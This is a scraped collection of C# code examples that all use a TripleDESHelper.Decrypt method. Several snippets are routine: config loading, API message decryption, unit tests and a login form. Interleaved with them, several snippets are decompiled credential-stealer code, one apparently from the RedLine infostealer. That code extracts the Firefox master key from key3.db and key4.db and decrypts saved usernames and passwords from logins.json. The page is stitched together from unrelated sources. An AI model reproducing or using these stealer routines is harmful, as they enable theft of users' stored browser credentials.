/// <summary>
 /// 反序列化指定的类
 /// </summary>
 /// <param name="configfilepath">config 文件的路径</param>
 /// <param name="configtype">相应的类型</param>
 /// <returns></returns>
 public static IConfigInfo DeserializeInfo(string configfilepath, Type configtype)
 {
     if (!File.Exists(configfilepath))
     {
         Logger.Error(string.Format("文件[{0}]不存在!", configfilepath));
         return(null);
     }
     if (ShouldEncrypt)
     {
         XmlDocument document = new XmlDocument();
         document.Load(configfilepath);
         if (document.DocumentElement != null && document.DocumentElement.Name == "EncryptContent")
         {
             var configInfo = SerializationHelper.Load <EncryptContent>(configfilepath);
             if (configInfo == null || string.IsNullOrEmpty(configInfo.Content))
             {
                 return(null);
             }
             //机密配置内容
             var content = TripleDESHelper.Decrypt(configInfo.Content);
             return((IConfigInfo)SerializationHelper.Deserialize(configtype, content));
         }
     }
     return((IConfigInfo)SerializationHelper.Load(configtype, configfilepath));
 }
예제 #2
0
        private static List <LoginPair> ParseLogins(string profile, byte[] privateKey)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                string tempCopy = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (!File.Exists(tempCopy))
                {
                    return(loginPairList);
                }
                foreach (JsonValue jsonValue in (IEnumerable)File.ReadAllText(tempCopy).FromJSON()["logins"])
                {
                    Asn1Object asn1Object1 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                    Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                    string     str1        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object1.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object1.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string     str2        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    LoginPair  loginPair   = new LoginPair()
                    {
                        Host = string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false), Login = string.IsNullOrEmpty(str1) ? "UNKNOWN" : str1, Password = string.IsNullOrEmpty(str2) ? "UNKNOWN" : str2
                    };
                    if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        loginPairList.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }
예제 #3
0
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         GeckoDatabase berkeleyDB    = new GeckoDatabase(file);
         PasswordCheck passwordCheck = new PasswordCheck(ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string        hexString     = ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
         geckoPasswordBasedEncryption.Init();
         TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck));
         Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         geckoPasswordBasedEncryption2.Init();
         Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
         if (asn1Object2.Objects[0].Objects[3].ObjectData.Length <= 24)
         {
             array = asn1Object2.Objects[0].Objects[3].ObjectData;
             return(array);
         }
         Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
         return(array);
     }
     catch
     {
         return(array);
     }
 }
예제 #4
0
        internal void Decrypt_Data <ED>(ref ED encrytedData, ref SafeData safeData) where ED : IRequest
        {
            string desDecrypted = string.Empty;

            using (RSAHelper rsa = new RSAHelper(RSAType.RSA2, Encoding.UTF8, Globals.key_private, Globals.key_public)) {
                desDecrypted = rsa.Decrypt(safeData.Des);
            }

            using (RSAHelper rsa_partner = new RSAHelper(RSAType.RSA2, Encoding.UTF8, Globals.key_private, apiUser.PublicKey)) {
                if (rsa_partner.Verify(desDecrypted, safeData.Signature) == false)
                {
                    throw new ApiException(CodeStatus.Signature_Not_Valid);
                }
            }

            using (DESParameters desParameters = JsonConvert.DeserializeObject <DESParameters>(desDecrypted)) {
                TripleDESHelper des     = new TripleDESHelper(desParameters);
                string          message = des.Decrypt(safeData.Data);
                encrytedData    = JsonConvert.DeserializeObject <ED>(message);
                request.User_ID = apiUser.User_ID;
                encrytedData.SetBase(request);
            }

            chainLogger.Step(Tool.GetCurrentMethod());
            Access_Authorization();
            Save_Request();
        }
예제 #5
0
        public static string DecriptRespose(ApiResponse response)
        {
            string des = RSAHelper.Decrypt(response.Des, Env.PartnerPrivateKey);

            if (!RSAHelper.Verify(des, response.Signature, Env.RfiPublicKey))
            {
                throw new Exception("Signature not valid");
            }

            return(TripleDESHelper.Decrypt(response.Data, des));
        }
예제 #6
0
        public void Test_TripleDESHelper()
        {
            string text   = TripleDESHelper.Encrypt(s_input, s_key);
            string result = TripleDESHelper.Decrypt(text, s_key);

            Assert.AreEqual(s_input, result);


            byte[] b1 = s_input.GetBytes();
            byte[] b2 = TripleDESHelper.Encrypt(b1, s_key);
            byte[] b3 = TripleDESHelper.Decrypt(b2, s_key);
            Assert.IsTrue(ByteTestHelper.AreEqual(b1, b3));
        }
예제 #7
0
        public void Encrypt_Decrypt_Test()
        {
            var source      = "helloworld";
            var sourceBytes = Encoding.UTF8.GetBytes(source);
            var key         = "MTIzNDU2Nzg4NzY1NDMyMQ=="; //1234567887654321
            var iv          = "MTIzNDU2Nzg5MGFiY2RlZg=="; //1234567890abcdef

            var keyBytes = Convert.FromBase64String(key);
            var ivBytes  = Convert.FromBase64String(iv);

            var encrypted1 = TripleDESHelper.Encrypt(sourceBytes);
            var decrypted1 = Encoding.UTF8.GetString(TripleDESHelper.Decrypt(encrypted1));

            Assert.Equal(source, decrypted1);
        }
예제 #8
0
 // Token: 0x060002CB RID: 715 RVA: 0x0000D09C File Offset: 0x0000B29C
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         MethodInfo method = typeof(Array).GetMethod("Copy", new Type[]
         {
             typeof(Array),
             typeof(int),
             typeof(Array),
             typeof(int),
             typeof(int)
         });
         GeckoDatabase berkeleyDB    = new GeckoDatabase(file);
         PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
         string        hexString     = GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
         geckoPasswordBasedEncryption.Init();
         TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
         Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         geckoPasswordBasedEncryption2.Init();
         Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.GetEncoding("windows-1251").GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             method.Invoke(null, new object[]
             {
                 asn1Object2.Objects[0].Objects[3].ObjectData,
                 asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24,
                 array,
                 0,
                 24
             });
         }
         else
         {
             array = asn1Object2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch
     {
     }
     return(array);
 }
예제 #9
0
 private static byte[] GetPrivate4Key(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         SqlConnection sqlConnection = new SqlConnection(file);
         sqlConnection.ReadTable("metaData");
         string     s           = sqlConnection.ParseValue(0, "item1");
         string     s2          = sqlConnection.ParseValue(0, "item2)");
         Asn1Object asn1Object  = Asn1Factory.Create(Encoding.Default.GetBytes(s2));
         byte[]     objectData  = asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[]     objectData2 = asn1Object.Objects[0].Objects[1].ObjectData;
         GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         geckoPasswordBasedEncryption.Init();
         TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, objectData2);
         sqlConnection.ReadTable("nssPrivate");
         int    rowLength = sqlConnection.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (sqlConnection.ParseValue(i, "a102") == Encoding.Default.GetString(Constants.Key4MagicNumber))
             {
                 s3 = sqlConnection.ParseValue(i, "a11");
                 break;
             }
         }
         Asn1Object asn1Object2 = Asn1Factory.Create(Encoding.Default.GetBytes(s3));
         objectData  = asn1Object2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = asn1Object2.Objects[0].Objects[1].ObjectData;
         geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         geckoPasswordBasedEncryption.Init();
         result = Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch
     {
         return(result);
     }
 }
예제 #10
0
 private static byte[] GetPrivate3Key(string file)
 {
     byte[] numArray = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(numArray);
         }
         DataTable     dataTable     = new DataTable();
         GeckoDatabase berkeleyDB    = new GeckoDatabase(file);
         PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("password-check"))));
         string        db            = GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("global-salt")));
         GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
         passwordBasedEncryption1.Init();
         TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
         Asn1Object asn1Object1 = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x =>
         {
             if (!x.Equals("password-check") && !x.Equals("Version"))
             {
                 return(!x.Equals("global-salt"));
             }
             return(false);
         }))));
         GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         passwordBasedEncryption2.Init();
         Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, asn1Object1.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             Array.Copy((Array)asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, (Array)numArray, 0, 24);
         }
         else
         {
             numArray = asn1Object2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch
     {
     }
     return(numArray);
 }
예제 #11
0
 private static byte[] GetPrivate4Key(string file)
 {
     byte[] numArray = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(numArray);
         }
         SqlConnection sqlConnection = new SqlConnection(file);
         sqlConnection.ReadTable("metaData");
         string     s           = sqlConnection.ParseValue(0, "item1");
         Asn1Object asn1Object1 = Asn1Factory.Create(Encoding.Default.GetBytes(sqlConnection.ParseValue(0, "item2)")));
         byte[]     objectData1 = asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[]     objectData2 = asn1Object1.Objects[0].Objects[1].ObjectData;
         GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData1);
         passwordBasedEncryption1.Init();
         TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, objectData2, PaddingMode.None);
         sqlConnection.ReadTable("nssPrivate");
         int    rowLength = sqlConnection.RowLength;
         string empty     = string.Empty;
         for (int rowIndex = 0; rowIndex < rowLength; ++rowIndex)
         {
             if (sqlConnection.ParseValue(rowIndex, "a102") == Encoding.Default.GetString(RedLine.Logic.Helpers.Constants.Key4MagicNumber))
             {
                 empty = sqlConnection.ParseValue(rowIndex, "a11");
                 break;
             }
         }
         Asn1Object asn1Object2 = Asn1Factory.Create(Encoding.Default.GetBytes(empty));
         byte[]     objectData3 = asn1Object2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[]     objectData4 = asn1Object2.Objects[0].Objects[1].ObjectData;
         GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData3);
         passwordBasedEncryption2.Init();
         numArray = Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, objectData4, PaddingMode.PKCS7));
     }
     catch
     {
     }
     return(numArray);
 }
예제 #12
0
        /// <summary>
        /// 反序列化,从XML文件中反序列化数据
        /// </summary>
        /// <param name="filename"></param>
        /// <typeparam name="T"></typeparam>
        /// <returns></returns>
        public virtual T Load <T>(string filename) where T : class
        {
            StreamReader reader = null;

            try
            {
                if (!File.Exists(filename))
                {
                    return(null);
                }
                reader = new StreamReader(filename, Encoding.UTF8);
                var str = reader.ReadToEnd();
                if (string.IsNullOrEmpty(str))
                {
                    return(null);
                }
                var elementType   = typeof(T);
                var runConfigType = typeof(RunConfig);
                if (elementType != runConfigType &&
                    !runConfigType.IsAssignableFrom(elementType) &&
                    !str.Contains("{") && !str.Contains("["))
                {
                    //不是个有效json数据,那么判断是否为机密过的数据
                    //要求加载数据时,不管配置信息是否要求加密,都能根据实际数据解析出结果
                    str = TripleDESHelper.Decrypt(str);
                }
                return(JsonUtils.Deserialize <T>(str));
            }
            catch (Exception ex)
            {
                Logger.Error("SerializationHelper.Load:" + ex.Message);
                return(null);
            }
            finally
            {
                if (reader != null)
                {
                    reader.Close();
                }
            }
        }
예제 #13
0
 private bool ValidAuthState(string state, out long id, out string authState)
 {
     id        = 0;
     authState = null;
     try
     {
         var data = MD5Helper.ConvertStringToByte(state);
         data = TripleDESHelper.Decrypt(data, this._appSettings.GetTripleDESKeyData(), null, CipherMode.ECB, PaddingMode.PKCS7);
         var origStr = Encoding.UTF8.GetString(data);
         if (!string.IsNullOrWhiteSpace(origStr) && Regex.IsMatch(origStr, @"^\d+_"))
         {
             var idxS = origStr.IndexOf('_');
             var idxE = origStr.LastIndexOf('_');
             id        = long.Parse(origStr.Substring(0, idxS));
             authState = origStr.Substring(idxS + 1, idxE - idxS - 1);
             return(true);
         }
     }
     catch { }
     return(false);
 }
예제 #14
0
        // Token: 0x060002C9 RID: 713 RVA: 0x0000CBD0 File Offset: 0x0000ADD0
        private static List <LoginPair> ParseLogins(string profile, byte[] privateKey)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                if (!File.Exists(Path.Combine(profile, "logins.json")))
                {
                    return(list);
                }
                bool   flag;
                string path = DecryptHelper.TryCreateTemp(Path.Combine(profile, "logins.json"), out flag);
                foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
                {
                    JsonValue  jsonValue   = (JsonValue)obj;
                    Asn1Object asn1Object  = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                    Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                    string     text        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string     text2       = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    LoginPair  loginPair   = new LoginPair
                    {
                        Host     = (string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false)),
                        Login    = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                        Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                    };
                    if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
                if (flag)
                {
                    File.Delete(path);
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
예제 #15
0
        public Dictionary <string, byte[]> Decrypt(Dictionary <string, byte[]> data, RSAParameters publicKeySender)
        {
            Dictionary <string, byte[]> output = new Dictionary <string, byte[]>();

            try
            {
                output.Add("key", RsaHelper.Decryption(data["key"], RsaHelper.PrivateKey, false));
                //file 2: decrypteren met eigen prive -> geeft tripledes sleutel
                output.Add("text", TripleDESHelper.Decrypt(data["text"], output["key"]));
                //file 1: decrypteren met de zo juist verkregen tripledes sleutel
                byte[] hashComparison = new byte[]
                {
                    Convert.ToByte(RsaHelper.VerifyData(md5helper.GenerateHash(output["text"]), data["hash"],
                                                        publicKeySender))
                }; //decrypteer meegestuurde hash met public key van zender en vergelijk
                output.Add("hash", hashComparison);
                return(output);
            }
            catch (NullReferenceException ex)
            {
                throw new NullReferenceException(ex.Message);
            }
        }
예제 #16
0
        private static List <LoginPair> ParseLogins(string profile, byte[] privateKey)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                string path = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (File.Exists(path))
                {
                    {
                        foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"])
                        {
                            Asn1Object asn1Object  = Asn1Factory.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false)));
                            Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false)));
                            string     text        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                            string     text2       = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                            LoginPair  loginPair   = new LoginPair
                            {
                                Host     = (string.IsNullOrEmpty(item["hostname"].ToString(saving: false)) ? "UNKNOWN" : item["hostname"].ToString(saving: false)),
                                Login    = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                                Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                            };
                            if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                            {
                                list.Add(loginPair);
                            }
                        }
                        return(list);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
예제 #17
0
        private void Login()
        {
            string greeningURL = "http://10.1.1.163/greening2/shared";
            string moduleURL   = "http://10.1.1.163/modules/shared";

            XmlDocument doc      = new XmlDocument();
            string      filename = Path.Combine(Environment.CurrentDirectory, "Setup.config");

            this.ShowMessage("載入設定檔");

            if (File.Exists(filename))
            {
                doc.Load(filename);
                XmlHelper config = new XmlHelper(doc.DocumentElement);
                greeningURL = config.GetText("GreeningAccessPoint");
                moduleURL   = config.GetText("ModuleAccessPoint");
            }

            try
            {
                this.ShowMessage("登入 ischool ....");
                Connection greenCon = new Connection();
                greenCon.EnableSecureTunnel = true;
                greenCon.EnableSession      = false;
                try
                {
                    greenCon.Connect(greeningURL, "user", txtUser.Text.Trim(), txtPassword.Text);
                }
                catch (Exception ex)
                {
                    throw new Exception("ischool Account 認證失敗" + ex.Message);
                }

                Envelope rsp = greenCon.SendRequest("DS.Base.GetPassportToken", new Envelope());
                PassportSecurityToken stt = new PassportSecurityToken(rsp.Body.XmlString);

                XmlHelper h1 = new XmlHelper(rsp.Body);
                string    id = h1.GetText("Content/Attributes/ID");

                string     ftpUser     = string.Empty;
                string     ftpPassword = string.Empty;
                string     ftpUrl      = string.Empty;
                bool       succeedLoginModuleService = false;
                Connection modCon = null;
                try
                {
                    this.ShowMessage("載入線上儲存空間設定...");

                    modCon = new Connection();
                    modCon.EnableSession      = true;
                    modCon.EnableSecureTunnel = true;

                    modCon.Connect(moduleURL, "developer", stt);

                    Envelope  env = modCon.SendRequest("GetFTPInfo", new Envelope());
                    XmlHelper h   = new XmlHelper(env.Body);
                    ftpUser     = TripleDESHelper.Decrypt(h.GetText("User"), USE_KEY);
                    ftpPassword = TripleDESHelper.Decrypt(h.GetText("Password"), USE_KEY);
                    ftpUrl      = TripleDESHelper.Decrypt(h.GetText("FTP"), USE_KEY);
                    succeedLoginModuleService = true;
                }
                catch
                {
                    this.ShowMessage("載入失敗!");
                    succeedLoginModuleService = false;
                }
                string pwd = string.Empty;
                if (chkRemember.Checked)
                {
                    pwd = txtPassword.Text;
                }
                MainForm.Storage.SetPropertyValues("LoginName", txtUser.Text, pwd);
                MainForm.Storage.SetProperty("LastLoginName", txtUser.Text);
                MainForm.Storage.SetProperty("LastLoginPassword", pwd);
                MainForm.Storage.SetProperty("RememberPassword", chkRemember.Checked.ToString().ToLower());

                if (Logined != null)
                {
                    this.ShowMessage("登入開發站台...");
                    LoginEventArgs arg = new LoginEventArgs();
                    arg.FtpPassword        = ftpPassword;
                    arg.FtpUser            = ftpUser;
                    arg.FtpURL             = ftpUrl;
                    arg.GreeningConnection = greenCon;
                    arg.ModuleConnection   = modCon;
                    arg.SetModuleConnectionInfo(moduleURL);
                    arg.LoginUser          = txtUser.Text;
                    arg.GreeningID         = id;
                    arg.SucceedModuleLogin = succeedLoginModuleService;

                    this.ShowMessage("載入開發站台資訊");
                    Logined.Invoke(this, arg);
                    this.Close();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                this.ShowMessage("※請輸入 ischool Account 密碼");
            }
        }
예제 #18
0
 public string Decrypt(string textToDecrypt)
 {
     return(tripleDES.Decrypt(textToDecrypt));
 }